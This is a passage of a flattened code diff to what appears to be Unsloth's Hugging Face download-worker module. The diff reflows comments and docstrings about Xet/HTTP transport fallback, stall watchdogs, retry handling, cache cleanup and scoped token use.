switches already win above and the pair would otherwise be asymmetric; buffers are still clamped to free RAM.return (True, reason)- # Free RAM is separate evidence, read from a different zoo module: a missing health module says- # nothing about whether this machine can afford Xet right now.+ # Free RAM is separate evidence, read from a different zoo module: a missing health module says nothing about whether this machine can afford Xet right now.pressure = _memory_pressure_reason()if pressure is not None:return (False, pressure)@@ -94,8 +81,7 @@ def resolve_auto_use_xet() -> tuple[bool, str]:def _health_is_forced(health) -> bool:- """``UNSLOTH_FORCE_XET``-style verdict? Delegates so this and the capabilities probe stand down- on exactly the same evidence; a degraded shim answers False, which keeps the RAM gate on."""+ """``UNSLOTH_FORCE_XET``-style verdict? Delegates so this and the capabilities probe stand down on exactly the same evidence; a degraded shim answers False, which keeps the RAM gate on."""try:from utils.hf_xet_fallback import xet_health_is_forcedreturn xet_health_is_forced(health)@@ -105,10 +91,7 @@ def _health_is_forced(health) -> bool:def _memory_pressure_reason() -> Optional[str]:- """Free-RAM verdict for an API caller that sends "auto".-- The Unsloth UI never reaches here: it resolves Auto through the capabilities probe and submits- the concrete xet/http, so that probe applies the same rule. Shared helper, so the two agree."""+ """Free-RAM verdict for an API caller that sends "auto". The Unsloth UI never reaches here: it resolves Auto through the capabilities probe and submits the concrete xet/http, so that probe applies the same rule. Shared helper, so the two agree."""try:from utils.hf_xet_fallback import free_ram_pressure_reasonreturn free_ram_pressure_reason()@@ -136,10 +119,7 @@ def resolve_transport(use_xet: bool) -> str:def write_files_manifest(files: Sequence[str]) -> str:- """Stage a scoped job's file list in a temp JSON file and return its path.-- The worker deletes it after reading. A pipeline repo lists hundreds of files, well past- what is comfortable on a command line."""+ """Stage a scoped job's file list in a temp JSON file and return its path. The worker deletes it after reading. A pipeline repo lists hundreds of files, well past what is comfortable on a command line."""import jsonimport tempfile@@ -160,14 +140,7 @@ def spawn_worker(cache_env: Optional[Mapping[str, str]] = None,allow_ambient_token: bool = True,) -> subprocess.Popen:- """Spawn the download worker.-- XET and ``hf_transfer`` write chunks out of order, so their partials can't- resume under a sequential writer; the HTTP path stays sequential so- SIGKILL -> resume is byte-identical. ``protected_blob_hashes`` are blobs a- concurrent same-repo peer is writing, excluded from the cache-prep purge so a- shared ``.incomplete`` (e.g. bundled mmproj) is never deleted.- """+ """Spawn the download worker. XET and ``hf_transfer`` write chunks out of order, so their partials can't resume under a sequential writer; the HTTP path stays sequential so SIGKILL -> resume is byte-identical. ``protected_blob_hashes`` are blobs a concurrent same-repo peer is writing, excluded from the cache-prep purge so a shared ``.incomplete`` (e.g. bundled mmproj) is never deleted."""cwd = backend_dir()mode = download_registry.TRANSPORT_XET if use_xet else download_registry.TRANSPORT_HTTPfrom utils.hf_cache_settings import get_hf_cache_paths@@ -183,28 +156,20 @@ def spawn_worker(env["HF_HUB_DISABLE_TELEMETRY"] = "1"env["HF_HUB_DISABLE_XET"] = "0" if use_xet else "1"if use_xet:- # hf_xet sizes its buffers from constants and reads its config natively at import, so the worker's- # env is sized here, and by unsloth_zoo so there is one rule and not two (UNSLOTH_XET_FORCE_CAPS=1- # bounds the machine regardless): the hand-rolled copies drifted, and on a 2TB host the worker got- # a laptop's 24GB buffer and ran 3.4x slower.+ # hf_xet sizes its buffers from constants and reads its config natively at import, so the worker's env is sized here, and by unsloth_zoo so there is one rule and not two (UNSLOTH_XET_FORCE_CAPS=1 bounds the machine regardless): the hand-rolled copies drifted, and on a 2TB host the worker got a laptop's 24GB buffer and ran 3.4x slower.from utils import hf_xet_fallback- # The worker's own cache, which the sizing measures: this backend's env may still name the one it- # started with, since moving the cache in Settings does not rewrite the live process.+ # The worker's own cache, which the sizing measures: this backend's env may still name the one it started with, since moving the cache in Settings does not rewrite the live process.sized = hf_xet_fallback.apply_xet_env(env, env.get("HF_HUB_CACHE"))if sized is None and not _allow_high_performance():- # No tuning module: that unsloth_zoo is also the one setting HF_XET_HIGH_PERFORMANCE=1 at import,- # and the inherited "1" would hand the worker a 64GB ceiling, since xet-core applies the preset- # AFTER reading the environment.+ # No tuning module: that unsloth_zoo is also the one setting HF_XET_HIGH_PERFORMANCE=1 at import, and the inherited "1" would hand the worker a 64GB ceiling, since xet-core applies the preset AFTER reading the environment.for key in ("HF_XET_HIGH_PERFORMANCE", "HF_XET_HP"):env[key] = "0"- # Fall back to the backend's own HF_TOKEN so private repos stay downloadable, but never for a repo- # an API caller named: that would lend them the owner's identity.+ # Fall back to the backend's own HF_TOKEN so private repos stay downloadable, but never for a repo an API caller named: that would lend them the owner's identity.if not hf_token and allow_ambient_token:hf_token = os.environ.get("HF_TOKEN") or Noneenv["HF_HUB_DISABLE_IMPLICIT_TOKEN"] = "0" if hf_token else "1"- # hf_transfer's parallel Range chunks can leave sparse partials even in "http" mode, so disable it- # and keep the worker's writer sequential.+ # hf_transfer's parallel Range chunks can leave sparse partials even in "http" mode, so disable it and keep the worker's writer sequential.env["HF_HUB_ENABLE_HF_TRANSFER"] = "0"for token_key in ("HF_TOKEN",@@ -240,17 +205,13 @@ def spawn_worker(return procfinally:if use_xet:- # Tie the sizing's RAM reservation to the worker so it frees when the worker exits and a sibling- # sizes against the remainder; a spawn that raised passes None, dropping the reservation.+ # Tie the sizing's RAM reservation to the worker so it frees when the worker exits and a sibling sizes against the remainder; a spawn that raised passes None, dropping the reservation.from utils import hf_xet_fallbackhf_xet_fallback.bind_worker_budget(proc.pid if proc is not None else None)def drain_stderr_excerpt(stream, edge_bytes: int = 500) -> bytes:- """Drain a worker's stderr to EOF, retaining the first and last bytes.-- Incremental reads keep the pipe from filling while bounding memory; long- messages keep both ends since stderr prefixes often name the failing repo."""+ """Drain a worker's stderr to EOF, retaining the first and last bytes. Incremental reads keep the pipe from filling while bounding memory; long messages keep both ends since stderr prefixes often name the failing repo."""if stream is None:return b""edge_bytes = max(1, edge_bytes)@@ -302,21 +263,7 @@ _SIGPIPE_RETURN_CODES = _sigpipe_return_codes()def classify_exit(rc: int, *, cancel_requested: bool = False) -> str:- """Map a worker process exit code to a job state.-- - rc == 0: clean completion.- - rc == EXIT_CANCELLED (130): the worker trapped a stop signal and exited- cleanly with a resumable partial. In-app cancel uses untrappable SIGKILL- and the OOM killer never produces 130, so 130 is always a resumable cancel.- - rc killed by SIGKILL/SIGTERM/SIGINT: a cancel only when *we* asked for it.- The OOM killer also sends SIGKILL, so an unrequested kill surfaces as error.- - rc killed by SIGPIPE (or 128+SIGPIPE): parent pipe is gone; treated as- cancelled.- - any other non-zero rc (incl. crash signals): worker errored out.-- Windows has no POSIX signal exit encoding, so a user cancel can't be told from- an error by code alone; there ``cancel_requested`` decides.- """+ """Map a worker process exit code to a job state. rc == 0 is clean completion. rc == EXIT_CANCELLED (130) means the worker trapped a stop signal and exited cleanly with a resumable partial: in-app cancel uses untrappable SIGKILL and the OOM killer never produces 130, so 130 is always a resumable cancel. Killed by SIGKILL/SIGTERM/SIGINT is a cancel only when *we* asked for it, since the OOM killer also sends SIGKILL, so an unrequested kill surfaces as error. Killed by SIGPIPE (or 128+SIGPIPE) means the parent pipe is gone and is treated as cancelled. Any other non-zero rc, crash signals included, is an error. Windows has no POSIX signal exit encoding, so a user cancel cannot be told from an error by code alone; there ``cancel_requested`` decides."""if rc == 0:return "complete"if rc == EXIT_CANCELLED:@@ -345,13 +292,7 @@ def finalize_worker_exit(cancel_marker_transport: Optional[str] = None,defer_error: bool = False,) -> str:- """Block until *proc* exits, then record the job's terminal state in- *registry*. Drains and scrubs stderr first, then classifies the exit code.- A no-op when the process was already dropped (e.g. superseded).-- No stall watchdog: huggingface_hub already times out chunk reads and raises- a resumable error on a dead connection, so the worker's exit code is the- single source of truth."""+ """Block until *proc* exits, then record the job's terminal state in *registry*. Drains and scrubs stderr first, then classifies the exit code. A no-op when the process was already dropped (e.g. superseded). No stall watchdog: huggingface_hub already times out chunk reads and raises a resumable error on a dead connection, so the worker's exit code is the single source of truth."""stderr_data = drain_stderr_excerpt(proc.stderr)rc = proc.wait()cancel_requested = registry.cancel_requested(key)@@ -366,10 +307,7 @@ def finalize_worker_exit(if state == "complete":hf_cache_scan.invalidate_hf_cache_scans()registry.set_job(key, "complete")- # Where /v1 learns a new model exists: its resolver answers from a cached scan with no watcher,- # so it would report the model absent and serve whatever is resident. Models only, since noting- # a dataset id as a local model would refuse a bare request naming it instead of letting a- # foreign id fall through.+ # Where /v1 learns a new model exists: its resolver answers from a cached scan with no watcher, so it would report the model absent and serve whatever is resident. Models only, since noting a dataset id as a local model would refuse a bare request naming it instead of letting a foreign id fall through.if repo_type == "model":try:from core.inference.local_model_resolver import (@@ -380,7 +318,6 @@ def finalize_worker_exit(note_downloaded(repo_id)invalidate_index(additions_only = True)- # Rebuild here, not on the first request, to keep the scan off the request path.warm_index_soon()except Exception:pass@@ -394,8 +331,7 @@ def finalize_worker_exit(else:logger.info(f"{log_prefix} worker diagnostics for {label}: {stderr_text}")logger.info(f"{log_prefix} complete: {label}")- # Defensive cleanup: the canonical clear is at download-start; this catches the rare case where that- # failed but the download succeeded.+ # Defensive cleanup: the canonical clear is at download-start; this catches the rare case where that failed but the download succeeded.if repo_type and repo_id:try:download_manifest.clear_cancel_marker(@@ -407,8 +343,7 @@ def finalize_worker_exit(except Exception as exc:logger.debug(f"clear_cancel_marker failed for {repo_id} (rc=0): {exc}")elif state == "cancelled":- # Read metadata before the terminal set_job so a concurrent eviction cannot drop it; the job key is- # the fallback variant label.+ # Read metadata before the terminal set_job so a concurrent eviction cannot drop it; the job key is the fallback variant label.registry.set_job(key, "cancelled")logger.info(f"{log_prefix} cancelled: {label} (rc={rc})")download_registry.persist_cancel_marker(@@ -465,9 +400,7 @@ _UNSAMPLED = object()def _is_data_phase_stall(message: str) -> bool:- """Did the watchdog trip AFTER bytes had flowed? Delegates to the shared rule so "worth- retrying" and "worth recording against the machine" can never disagree, with the same literal- check inline as the degraded fallback."""+ """Did the watchdog trip AFTER bytes had flowed? Delegates to the shared rule so "worth retrying" and "worth recording against the machine" can never disagree, with the same literal check inline as the degraded fallback."""try:from utils.hf_xet_fallback import is_data_phase_stallreturn is_data_phase_stall(message)@@ -476,9 +409,7 @@ def _is_data_phase_stall(message: str) -> bool:def _xet_attempt_budget() -> int:- """How many XET workers one download may spend before HTTP. Degrades to 1 (the pre-retry- ladder) if the shared helper cannot be imported, so a broken unsloth_zoo never turns into an- extra stall the user waits through."""+ """How many XET workers one download may spend before HTTP. Degrades to 1 (the pre-retry ladder) if the shared helper cannot be imported, so a broken unsloth_zoo never turns into an extra stall the user waits through."""try:from utils.hf_xet_fallback import xet_attemptsreturn xet_attempts()@@ -503,40 +434,12 @@ def _try_transport_retry(bytes_before: "Optional[int]" = _UNSAMPLED,allow_ambient_token: bool = True,) -> bool:- """Reclaim *key* under *retry_transport* and spawn a recovery worker.-- Returns ``True`` when the recovery worker was successfully registered.- Caller is responsible for ensuring this is only called when: the job is- in ``"error"`` state, the original transport was XET, and the target- transport is available.-- Two directions share this body. ``TRANSPORT_HTTP`` is terminal: the- transport changes, so the worker's own ``prepare_cache_for_transport``- purges the XET partial an HTTP resume would corrupt. ``TRANSPORT_XET`` is- the stall retry: same transport, same marker, one more child, bounded by- *xet_attempt* rather than by the transport check that stops the HTTP one.-- *allow_ambient_token* rides along unchanged, so a job that started anonymous cannot pick- the backend's own HF_TOKEN up on a lower rung.-- *pending_xet_failure* is a stall verdict held back from the health tracker- and carried into the next worker, so a download that recovers on its second- Xet attempt reports nothing and one that does not reports exactly one- failure. *bytes_before* is the ORIGINAL pre-Xet baseline: resampling would- fold the killed worker's partial writes in and make a recovered attempt- read as a cached no-op.-- Derives variant and blob-hash metadata from the registry entry written by- the original XET claim so callers do not re-construct worker arguments.- Re-queries peer protection hashes at spawn time to reflect any concurrent- sibling changes between the XET failure and this call.- """+ """Reclaim *key* under *retry_transport* and spawn a recovery worker. Returns ``True`` when the recovery worker was successfully registered. Caller is responsible for ensuring this is only called when the job is in ``"error"`` state, the original transport was XET, and the target transport is available. Two directions share this body: ``TRANSPORT_HTTP`` is terminal, so the transport changes and the worker's own ``prepare_cache_for_transport`` purges the XET partial an HTTP resume would corrupt, while ``TRANSPORT_XET`` is the stall retry, same transport, same marker, one more child, bounded by *xet_attempt* rather than by the transport check that stops the HTTP one. *allow_ambient_token* rides along unchanged, so a job that started anonymous cannot pick the backend's own HF_TOKEN up on a lower rung. *pending_xet_failure* is a stall verdict held back from the health tracker and carried into the next worker, so a download that recovers on its second Xet attempt reports nothing and one that does not reports exactly one failure. *bytes_before* is the ORIGINAL pre-Xet baseline: resampling would fold the killed worker's partial writes in and make a recovered attempt read as a cached no-op. Derives variant and blob-hash metadata from the registry entry written by the original XET claim so callers do not re-construct worker arguments, and re-queries peer protection hashes at spawn time to reflect concurrent sibling changes."""retry_over_xet = retry_transport == download_registry.TRANSPORT_XETretry_name = "XET" if retry_over_xet else "HTTP"def _give_up() -> None:- """Ladder ends here, so a held-back verdict must still reach the health tracker: otherwise a- stall followed by a failed reclaim is silently forgiven."""+ """Ladder ends here, so a held-back verdict must still reach the health tracker: otherwise a stall followed by a failed reclaim is silently forgiven."""if pending_xet_failure:_record_xet_failure(pending_xet_failure, logger)@@ -606,8 +509,7 @@ def _try_transport_retry(claimed, conflict_state = registry.claim(key,- # A XET retry re-claims the SAME transport, the permissive case in claim(): only a cross-transport- # claim can mix an HTTP resume with a XET rewrite over one shared blob.+ # A XET retry re-claims the SAME transport, the permissive case in claim(): only a cross-transport claim can mix an HTTP resume with a XET rewrite over one shared blob.retry_transport,repo_type = repo_type,repo_id = repo_id,@@ -620,14 +522,12 @@ def _try_transport_retry(cancel_marker_transport = original_metadata.transport,hub_cache = original_metadata.hub_cache,xet_cache = original_metadata.xet_cache,- # Carry the scoped file list across the reclaim: the record it overwrites is what a later start is- # compared against, so dropping it makes an identical start 409 instead of adopting.+ # Carry the scoped file list across the reclaim: the record it overwrites is what a later start is compared against, so dropping it makes an identical start 409 instead of adopting.scoped_files = original_metadata.scoped_files or None,)if claimed:break- # An STT owner is not an active job, so mark_pending_cancel cannot reach this loop and waiting it- # out would be an uninterruptible spin.+ # An STT owner is not an active job, so mark_pending_cancel cannot reach this loop and waiting it out would be an uninterruptible spin.if conflict_state in ("deleting", "repository_owned"):logger.debug("%s XET retry claim rejected for %s; blocked by %s",@@ -660,12 +560,10 @@ def _try_transport_retry(args.append("--dataset")elif variant:args.extend(["--variant", variant])- # A scoped job must retry as the SAME scoped download; without its file list the recovery worker- # would fall through to a full snapshot.+ # A scoped job must retry as the SAME scoped download; without its file list the recovery worker would fall through to a full snapshot.if original_metadata.scoped_files:args.extend(["--files-json", write_files_manifest(original_metadata.scoped_files)])- # Re-query at spawn time: sibling state may have changed since XET failed.peer_hashes = registry.peer_blob_hashes(key) if variant else frozenset()if retry_over_xet:@@ -714,8 +612,7 @@ def _try_transport_retry()registry.update_job_transport(key, original_metadata.transport)if retry_over_xet:- # A failed EXTRA worker spawn is a local failure, not a verdict on the download, so drop to the- # rung this job would have taken without the retry instead of stranding it in "error".+ # A failed EXTRA worker spawn is a local failure, not a verdict on the download, so drop to the rung this job would have taken without the retry instead of stranding it in "error".logger.warning("%s XET retry could not be spawned for %s; falling back to HTTP",log_prefix,@@ -771,8 +668,7 @@ def _try_transport_retry(def _try_http_retry(registry: download_registry.DownloadRegistry, key: str, **kwargs) -> bool:- """Reclaim *key* over HTTP: the terminal rung of the recovery ladder. Thin alias kept because- "retry over HTTP" is what most call sites mean and read better than the transport keyword."""+ """Reclaim *key* over HTTP: the terminal rung of the recovery ladder. Thin alias kept because "retry over HTTP" is what most call sites mean and reads better than the transport keyword."""return _try_transport_retry(registry, key, retry_transport = download_registry.TRANSPORT_HTTP, **kwargs)@@ -809,11 +705,7 @@ def _record_xet_failure(reason: str, logger) -> None:def _repo_bytes_on_disk(repo_type, repo_id: str, cache_dir) -> "Optional[int]":- """Bytes present for this repo, or None when unmeasurable.-- Tells an actual Xet transfer from a job that found everything cached: the worker reports only an- exit code, and the .transport marker is written before the transfer, so there is no other signal.- """+ """Bytes present for this repo, or None when unmeasurable. Tells an actual Xet transfer from a job that found everything cached: the worker reports only an exit code, and the .transport marker is written before the transfer, so there is no other signal."""try:from utils.hf_xet_fallback import get_hf_download_statestate = get_hf_download_state([repo_id], repo_type = repo_type, cache_dir = cache_dir)@@ -823,13 +715,7 @@ def _repo_bytes_on_disk(repo_type, repo_id: str, cache_dir) -> "Optional[int]":def _sweep_ownership(metadata, own_blob_hashes, owned_for_sweep, repo_type: str, repo_id: str):- """(owned hashes, owns-everything) for a job that has just reached a terminal state.-- A variant job whose API-side hash pre-resolution failed carries a non-null variant with an- EMPTY hash set, so neither claim applies and its own fresh partial waits out a grace that- exists to guess at a writer we already know is dead. The worker wrote a manifest naming the- files it fetched, so read the ownership back off that.- """+ """(owned hashes, owns-everything) for a job that has just reached a terminal state. A variant job whose API-side hash pre-resolution failed carries a non-null variant with an EMPTY hash set, so neither claim applies and its own fresh partial waits out a grace that exists to guess at a writer we already know is dead. The worker wrote a manifest naming the files it fetched, so read the ownership back off that."""if own_blob_hashes is None:return None, Trueif owned_for_sweep:@@ -851,14 +737,7 @@ def _sweep_ownership(metadata, own_blob_hashes, owned_for_sweep, repo_type: str,def _job_bytes_on_disk(repo_type, repo_id: str, cache_dir, blob_hashes) -> "Optional[int]":- """Bytes THIS job owns, or None when unmeasurable.-- Scoped to the variant's own blobs when the claim resolved them: the registry lets two- same-transport GGUF variants of one repo run concurrently over one blobs/ dir, so a repo-wide- measure would credit a cached no-op worker with its sibling's bytes, clearing a legitimate stall- streak and flipping an already demoted verdict back to Xet. Non-variant model jobs and dataset- jobs cannot have a concurrent same-repo sibling (claim() rejects those), so they stay repo-wide.- """+ """Bytes THIS job owns, or None when unmeasurable. Scoped to the variant's own blobs when the claim resolved them: the registry lets two same-transport GGUF variants of one repo run concurrently over one blobs/ dir, so a repo-wide measure would credit a cached no-op worker with its sibling's bytes, clearing a legitimate stall streak and flipping an already demoted verdict back to Xet. Non-variant model jobs and dataset jobs cannot have a concurrent same-repo sibling (claim() rejects those), so they stay repo-wide."""if blob_hashes is None:return _repo_bytes_on_disk(repo_type, repo_id, cache_dir)if not blob_hashes:@@ -895,20 +774,7 @@ def _start_stall_watchdog(logger,on_stall: Callable[[str], None],):- """Kill *proc* if its download stops making byte-level progress. Returns a stop event, or- ``None`` when no watchdog could be started.-- SIGKILL rather than a polite signal: the worker traps SIGTERM and exits 130 ("cancelled"), which- would record a user cancel and skip the recovery ladder. An untrapped kill lands as "error",- which is what triggers the retry.-- What survives the kill depends on the transport the retry picks. Over HTTP the writer is- sequential and the partial genuinely resumes. Over XET it does not: hf_xet reconstructs a file- from offset zero rather than resuming it, so the recovery worker's own- ``prepare_cache_for_transport(..., "xet", ...)`` purges the partial on startup and re-fetches the- in-flight file. Every file already finalized into a blob is kept either way, and the worker runs- ``snapshot_download(max_workers=1)``, so at most one file is ever replayed.- """+ """Kill *proc* if its download stops making byte-level progress. Returns a stop event, or ``None`` when no watchdog could be started. SIGKILL rather than a polite signal: the worker traps SIGTERM and exits 130 ("cancelled"), which would record a user cancel and skip the recovery ladder, while an untrapped kill lands as "error", which is what triggers the retry. What survives the kill depends on the transport the retry picks: over HTTP the writer is sequential and the partial genuinely resumes, while over XET it does not, since hf_xet reconstructs a file from offset zero rather than resuming it, so the recovery worker's own ``prepare_cache_for_transport(..., "xet", ...)`` purges the partial on startup and re-fetches the in-flight file. Every file already finalized into a blob is kept either way, and the worker runs ``snapshot_download(max_workers=1)``, so at most one file is ever replayed."""try:from utils.hf_xet_fallback import start_watchdogexcept Exception as exc: # noqa: BLE001 - degraded unsloth_zoo: keep the old behaviour@@ -924,8 +790,7 @@ def _start_stall_watchdog()on_stall(message)try:- # Kill only: the _watch thread is already reaping this process, so a wait() here would race it for- # the exit status.+ # Kill only: the _watch thread is already reaping this process, so a wait() here would race it for the exit status.proc.kill()except ProcessLookupError:pass@@ -939,14 +804,9 @@ def _start_stall_watchdog(cache_dir = cache_dir,on_stall = _on_stall,child_pid = proc.pid,- # Scope the measurement to partials this worker holds open; otherwise the shared helper stays- # repo-wide, child_pid does nothing, and two concurrent same-transport GGUF variants of one repo- # reset each other's stall timer. The DATA clock only: before its first byte a variant is still- # covered by the repo-wide peer-progress check.+ # Scope the measurement to partials this worker holds open; otherwise the shared helper stays repo-wide, child_pid does nothing, and two concurrent same-transport GGUF variants of one repo reset each other's stall timer. The DATA clock only: before its first byte a variant is still covered by the repo-wide peer-progress check.watch_new_partials_only = True,- # The shared 90s zero-byte default assumes a single-file download whose pre-byte phase is one- # HEAD; snapshot_download(max_workers=1) does a model_info lookup plus one sequential HEAD per- # file, which for an already-cached repo is the entire job with no byte written.+ # The shared 90s zero-byte default assumes a single-file download whose pre-byte phase is one HEAD; snapshot_download(max_workers=1) does a model_info lookup plus one sequential HEAD per file, which for an already-cached repo is the entire job with no byte written.connect_timeout = 600.0,xet_disabled = False,)@@ -974,20 +834,12 @@ def register_worker(pending_xet_failure: Optional[str] = None,allow_ambient_token: bool = True,) -> bool:- """Watch *proc* to completion and drive the recovery ladder off its exit.-- *xet_attempt* (1-based) bounds the XET->XET stall retry, the way ``transport == TRANSPORT_XET``- bounds the terminal XET->HTTP one. *pending_xet_failure* is an earlier attempt's stall verdict,- held back from the health tracker until the XET phase ends so one download can never spend the- two consecutive failures that demote a machine. *allow_ambient_token* is the token policy this- job was started under, carried onto every rung of the ladder.- """+ """Watch *proc* to completion and drive the recovery ladder off its exit. *xet_attempt* (1-based) bounds the XET->XET stall retry, the way ``transport == TRANSPORT_XET`` bounds the terminal XET->HTTP one. *pending_xet_failure* is an earlier attempt's stall verdict, held back from the health tracker until the XET phase ends so one download can never spend the two consecutive failures that demote a machine. *allow_ambient_token* is the token policy this job was started under, carried onto every rung of the ladder."""if not registry.register_process(key, proc):kill_and_reap_process(proc, label = label, logger = logger)return Falseworker_token = hf_token- # getattr, not a direct call: test doubles and older registries do not all implement this._get_metadata = getattr(registry, "get_job_metadata", None)_metadata = _get_metadata(key) if callable(_get_metadata) else None_cache_dir = getattr(_metadata, "hub_cache", None) if _metadata is not None else None@@ -997,16 +849,13 @@ def register_worker(if getattr(_metadata, "variant", None)else None)- # Companions such as a shared mmproj live only in the progress set, and this worker was writing one- # as much as it was writing the main quant.+ # Companions such as a shared mmproj live only in the progress set, and this worker was writing one as much as it was writing the main quant._owned_for_sweep = (getattr(_metadata, "progress_blob_hashes", None) or _own_blob_hashesif _own_blob_hashes is not Noneelse None)- # Sampled before the worker can write, as launch_worker samples BEFORE spawn(): sampling later- # would race a fast child that already finalized its blobs, making a real transfer look like a- # no-op and leaving the streak uncleared.+ # Sampled before the worker can write, as launch_worker samples BEFORE spawn(): sampling later would race a fast child that already finalized its blobs, making a real transfer look like a no-op and leaving the streak uncleared._bytes_before = (_job_bytes_on_disk(repo_type, repo_id, _cache_dir, _own_blob_hashes)if bytes_before is _UNSAMPLED@@ -1024,8 +873,7 @@ def register_worker()is None)- # A Xet transfer that hangs with no progress and no error never produces an exit code, so watch- # the cache for byte-level progress and kill it; the SIGKILL surfaces as "error".+ # A Xet transfer that hangs with no progress and no error never produces an exit code, so watch the cache for byte-level progress and kill it; the SIGKILL surfaces as "error".if can_retry_http:watchdog_stop = _start_stall_watchdog(registry,@@ -1053,11 +901,9 @@ def register_worker(defer_error = can_retry_http,)if watchdog_stop is not None:- # Stop measuring once the worker is reaped: post-download symlinking and verification make no byte-- # level progress and must not read as a stall.+ # Stop measuring once the worker is reaped: post-download symlinking and verification make no byte-level progress and must not read as a stall.watchdog_stop.set()- # Spend one more XET worker only on a DATA-phase verdict: retrying a pre-byte trip would buy a- # second full 600s connect window, and that trip is as likely slow metadata as a broken Xet.+ # Spend one more XET worker only on a DATA-phase verdict: retrying a pre-byte trip would buy a second full 600s connect window, and that trip is as likely slow metadata as a broken Xet.retry_xet = (can_retry_httpand state == "error"@@ -1068,11 +914,7 @@ def register_worker(# Evidence for the WHOLE Xet phase, reported once when the phase ends.xet_failure = pending_xet_failureif stalled:- # Exclude only the PRE-BYTE trip: "did not start" is as likely slow metadata, a queue of HEADs or a- # cache lock as a broken Xet, and two recorded failures pin this machine to HTTP for 24h.- # state == "error" is the other half: the watchdog appends its verdict before the kill lands, so a- # worker that completed or was cancelled in that instant would be charged a failure it did not- # earn.+ # Exclude only the PRE-BYTE trip: "did not start" is as likely slow metadata, a queue of HEADs or a cache lock as a broken Xet, and two recorded failures pin this machine to HTTP for 24h. state == "error" is the other half: the watchdog appends its verdict before the kill lands, so a worker that completed or was cancelled in that instant would be charged a failure it did not earn.if state == "error" and _is_data_phase_stall(stalled[0]):xet_failure = stalled[0]else:@@ -1085,17 +927,13 @@ def register_worker(if state == "cancelled" or (state == "complete" and transport == download_registry.TRANSPORT_XET):- # A XET completion proved Xet works here and a cancel was never evidence against it; an HTTP- # completion proves nothing about Xet, so a verdict carried onto that rung is still charged.+ # A XET completion proved Xet works here and a cancel was never evidence against it; an HTTP completion proves nothing about Xet, so a verdict carried onto that rung is still charged.xet_failure = Noneif xet_failure is not None and not retry_xet:- # Xet phase over (HTTP next, or nothing left to try): report it, once._record_xet_failure(xet_failure, logger)xet_failure = Noneif not stalled and transport == download_registry.TRANSPORT_XET and state == "complete":- # Clear the streak so "two failures in a row" means in a row, but only for a job that moved bytes:- # a fully cached repo exits 0 without touching the network, and clearing an earned demotion on- # that puts a bad machine back on Xet.+ # Clear the streak so "two failures in a row" means in a row, but only for a job that moved bytes: a fully cached repo exits 0 without touching the network, and clearing an earned demotion on that puts a bad machine back on Xet.bytes_after = _job_bytes_on_disk(repo_type, repo_id, _cache_dir, _own_blob_hashes)if (_bytes_before is not None@@ -1103,8 +941,7 @@ def register_worker(and bytes_after > _bytes_before):_record_xet_success(logger)- # One guard per direction: transport == TRANSPORT_XET makes the HTTP rung terminal, xet_attempt- # bounds the XET one.+ # One guard per direction: transport == TRANSPORT_XET makes the HTTP rung terminal, xet_attempt bounds the XET one.if can_retry_http and state == "error":_try_transport_retry(registry,@@ -1123,19 +960,16 @@ def register_worker(),xet_attempt = xet_attempt + 1 if retry_xet else xet_attempt,pending_xet_failure = xet_failure,- # The ORIGINAL pre-Xet baseline: resampling would fold the killed worker's partial writes in, so a- # recovered attempt would read as a cached no-op.+ # The ORIGINAL pre-Xet baseline: resampling would fold the killed worker's partial writes in, so a recovered attempt would read as a cached no-op.bytes_before = _bytes_before,allow_ambient_token = allow_ambient_token,)except Exception:if watchdog_stop is not None:watchdog_stop.set()- # finalize_worker_exit is the only thing that clears running/cancelling, so if it raises, force a- # terminal state or claim() is blocked until restart.+ # finalize_worker_exit is the only thing that clears running/cancelling, so if it raises, force a terminal state or claim() is blocked until restart.logger.exception("download watcher crashed for %s", key)- # finalize may have raised before reaping the worker, so terminate the still-registered Popen- # first: the terminal set_job clears the repo guard and a live worker would race a retry.+ # finalize may have raised before reaping the worker, so terminate the still-registered Popen first: the terminal set_job clears the repo guard and a live worker would race a retry.try:kill_and_reap_process(proc, label = label, logger = logger)except Exception:@@ -1159,10 +993,7 @@ def register_worker(except Exception:logger.exception("post-finalize marker cleanup failed for %s", key)try:- # The second look for anything prepare_cache_for_transport spared as too recently written. This- # job's own blobs skip the abandonment wait, but ONLY once the job is genuinely finished: a- # cancelled worker's partial was written seconds ago, and a retry relaunched above leaves the job- # active, so it is not ours to assume.+ # The second look for anything prepare_cache_for_transport spared as too recently written. This job's own blobs skip the abandonment wait, but ONLY once the job is genuinely finished: a cancelled worker's partial was written seconds ago, and a retry relaunched above leaves the job active, so it is not ours to assume.terminal = registry.get_job(key).state not in ("running", "cancelling")_owned, _owns_all = (_sweep_ownership(@@ -1175,12 +1006,10 @@ def register_worker(repo_type,repo_id,protected_blob_hashes = registry.peer_blob_hashes(key),- # A companion a sibling is writing right now is still held back by peer_blob_hashes above, whatever- # this job believes it owns.+ # A companion a sibling is writing right now is still held back by peer_blob_hashes above, whatever this job believes it owns.owned_blob_hashes = _owned,owns_all_blobs = _owns_all,- # The cache this worker actually wrote to: resolving the live one would miss the orphan whenever the- # download location changed mid-run, and sweep a cache this job never touched.+ # The cache this worker actually wrote to: resolving the live one would miss the orphan whenever the download location changed mid-run, and sweep a cache this job never touched.root = _cache_dir,)if swept:@@ -1211,12 +1040,10 @@ def launch_worker(watch_name: str,allow_ambient_token: bool = True,) -> str:- # Only the Xet success-recording consumes this, and sampling lazy-loads unsloth_zoo, so torch and- # transformers, on the request path.+ # Only the Xet success-recording consumes this, and sampling lazy-loads unsloth_zoo, so torch and transformers, on the request path._baseline: Optional[int] = Noneif transport == download_registry.TRANSPORT_XET:- # Before spawn(), deliberately: a small download can finalize its blobs while we are still- # registering the process, and a later baseline would show no growth for a real transfer.+ # Before spawn(), deliberately: a small download can finalize its blobs while we are still registering the process, and a later baseline would show no growth for a real transfer._get_metadata = getattr(registry, "get_job_metadata", None)_metadata = _get_metadata(key) if callable(_get_metadata) else None_baseline = _job_bytes_on_disk(@@ -1269,8 +1096,7 @@ def cancel_worker(logger,) -> str:proc = registry.get_process(key)- # No worker process yet: arm a pending cancel so register_process kills it on arrival during the- # claim-to-register window.+ # No worker process yet: arm a pending cancel so register_process kills it on arrival during the claim-to-register window.if proc is None:if registry.mark_pending_cancel(key, generation):return "cancelling"@@ -1293,8 +1119,7 @@ def cancel_worker(if not registry.request_cancel(key, proc, generation):return registry.get_job(key).state- # No eager marker: finalize_worker_exit writes it on a "cancelled" exit, and persisting before the- # kill races a clean completion and strands a stale marker.+ # No eager marker: finalize_worker_exit writes it on a "cancelled" exit, and persisting before the kill races a clean completion and strands a stale marker.try:proc.kill()except ProcessLookupError:@@ -1344,8 +1169,7 @@ def 